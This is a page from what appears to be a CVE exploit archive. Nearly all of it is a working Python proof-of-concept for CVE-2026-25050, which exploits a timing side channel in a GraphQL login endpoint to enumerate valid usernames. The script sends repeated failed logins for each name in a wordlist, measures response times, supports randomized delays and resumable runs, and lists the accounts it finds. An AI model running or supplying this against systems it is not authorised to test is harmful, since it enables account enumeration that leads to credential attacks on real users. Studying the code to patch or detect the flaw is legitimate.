4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
import aiohttp
import asyncio
import time
import numpy as np
import argparse
import sys
import os
import json
import random

HEADERS = {
    "Content-Type": "application/json",
    "apollo-require-preflight": "true",
}

QUERY = """
mutation AttemptLogin($username: String!, $password: String!, $rememberMe: Boolean!) {
  login(username: $username, password: $password, rememberMe: $rememberMe) {
    __typename
  }
}
"""

ATTEMPTS = 20
FAST_THRESHOLD = 40
SLOW_THRESHOLD = 150
TIMEOUT = aiohttp.ClientTimeout(total=10)

RED     = "\033[91m"
GREEN   = "\033[92m"
YELLOW  = "\033[93m"
BLUE    = "\033[94m"
CYAN    = "\033[96m"
BOLD    = "\033[1m"
RESET   = "\033[0m"

BANNER = f"""{RED}{BOLD}
 ██████╗ ██╗   ██╗███████╗
██╔════╝ ██║   ██║██╔════╝
██║      ██║   ██║█████╗
██║      ╚██╗ ██╔╝██╔══╝
╚██████╗  ╚████╔╝ ███████╗
 ╚═════╝   ╚═══╝  ╚══════╝

        CVE-2026-25050
{RESET}{CYAN}
Timing attack enables user enumeration in NativeAuthenticationStrategy
{RESET}
"""

def confidence_score(mean):
    if mean <= FAST_THRESHOLD:
        return 0
    if mean >= SLOW_THRESHOLD:
        return min(100, int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 100))
    return int((mean - FAST_THRESHOLD) / (SLOW_THRESHOLD - FAST_THRESHOLD) * 50)

async def measure(session, url, username, delay):
    timings = []
    payload = {
        "operationName": "AttemptLogin",
        "variables": {
            "username": username,
            "password": "TotallyWrongPassword123!",
            "rememberMe": False
        },
        "query": QUERY
    }

    for _ in range(ATTEMPTS):
        start = time.perf_counter()
        async with session.post(url, json=payload, headers=HEADERS) as resp:
            await resp.text()
        timings.append((time.perf_counter() - start) * 1000)

        if delay:
            await asyncio.sleep(random.uniform(*delay) / 1000)

    return np.mean(timings), np.std(timings)

async def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", required=True)
    parser.add_argument("-w", "--wordlist", required=True)
    parser.add_argument("--silent", action="store_true")
    parser.add_argument("--shuffle", action="store_true")
    parser.add_argument("--resume")
    parser.add_argument("--json")
    parser.add_argument("--delay")
    args = parser.parse_args()

    print(BANNER)

    base_url = args.url.rstrip("/")
    url = f"{base_url}/admin-api?languageCode=en"

    if not os.path.isfile(args.wordlist):
        print(f"{RED}[!] Wordlist not found{RESET}")
        return

    with open(args.wordlist, "r", encoding="latin-1", errors="ignore") as f:
        usernames = [u.strip() for u in f if u.strip()]

    if args.shuffle:
        random.shuffle(usernames)

    start_index = 0
    results = []

    if args.resume and os.path.isfile(args.resume):
        with open(args.resume, "r") as f:
            state = json.load(f)
            start_index = state.get("index", 0)
            results = state.get("results", [])

    delay = None
    if args.delay:
        a, b = args.delay.split(":")
        delay = (int(a), int(b))

    total = len(usernames)
    tested = start_index
    valid_users = [r["username"] for r in results if r["verdict"] == "VALID"]

    try:
        async with aiohttp.ClientSession(timeout=TIMEOUT) as session:
            for i in range(start_index, total):
                user = usernames[i]
                mean, std = await measure(session, url, user, delay)
                tested += 1

                conf = confidence_score(mean)

                if mean > SLOW_THRESHOLD:
                    verdict = "VALID"
                    valid_users.append(user)
                    if args.silent:
                        print(f"\n{GREEN}[+] VALID USER FOUND: {user} ({conf}%) {RESET}")
                elif mean < FAST_THRESHOLD:
                    verdict = "FAST"
                else:
                    verdict = "AMBIGUOUS"

                result = {
                    "username": user,
                    "mean_ms": round(mean, 2),
                    "stddev": round(std, 2),
                    "confidence": conf,
                    "verdict": verdict
                }
                results.append(result)

                if args.resume:
                    with open(args.resume, "w") as f:
                        json.dump({"index": tested, "results": results}, f, indent=2)

                if args.silent:
                    percent = tested / total * 100
                    print(f"\r{CYAN}[+] Progress: {percent:6.2f}% ({tested}/{total}){RESET}", end="", flush=True)
                else:
                    print(f"{user:<20} {mean:7.2f} ms  → {verdict} ({conf}%)")

    except (KeyboardInterrupt, EOFError, asyncio.CancelledError):
        pass

    finally:
        if args.silent:
            print()

        if args.json:
            with open(args.json, "w") as f:
                json.dump(results, f, indent=2)

        if valid_users:
            print(f"\n{GREEN}{BOLD}[+] Password-based accounts discovered:{RESET}")
            for u in valid_users:
                print(f"    - {u}")
        else:
            print(f"\n{YELLOW}{BOLD}[-] No password-based accounts detected{RESET}")

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        pass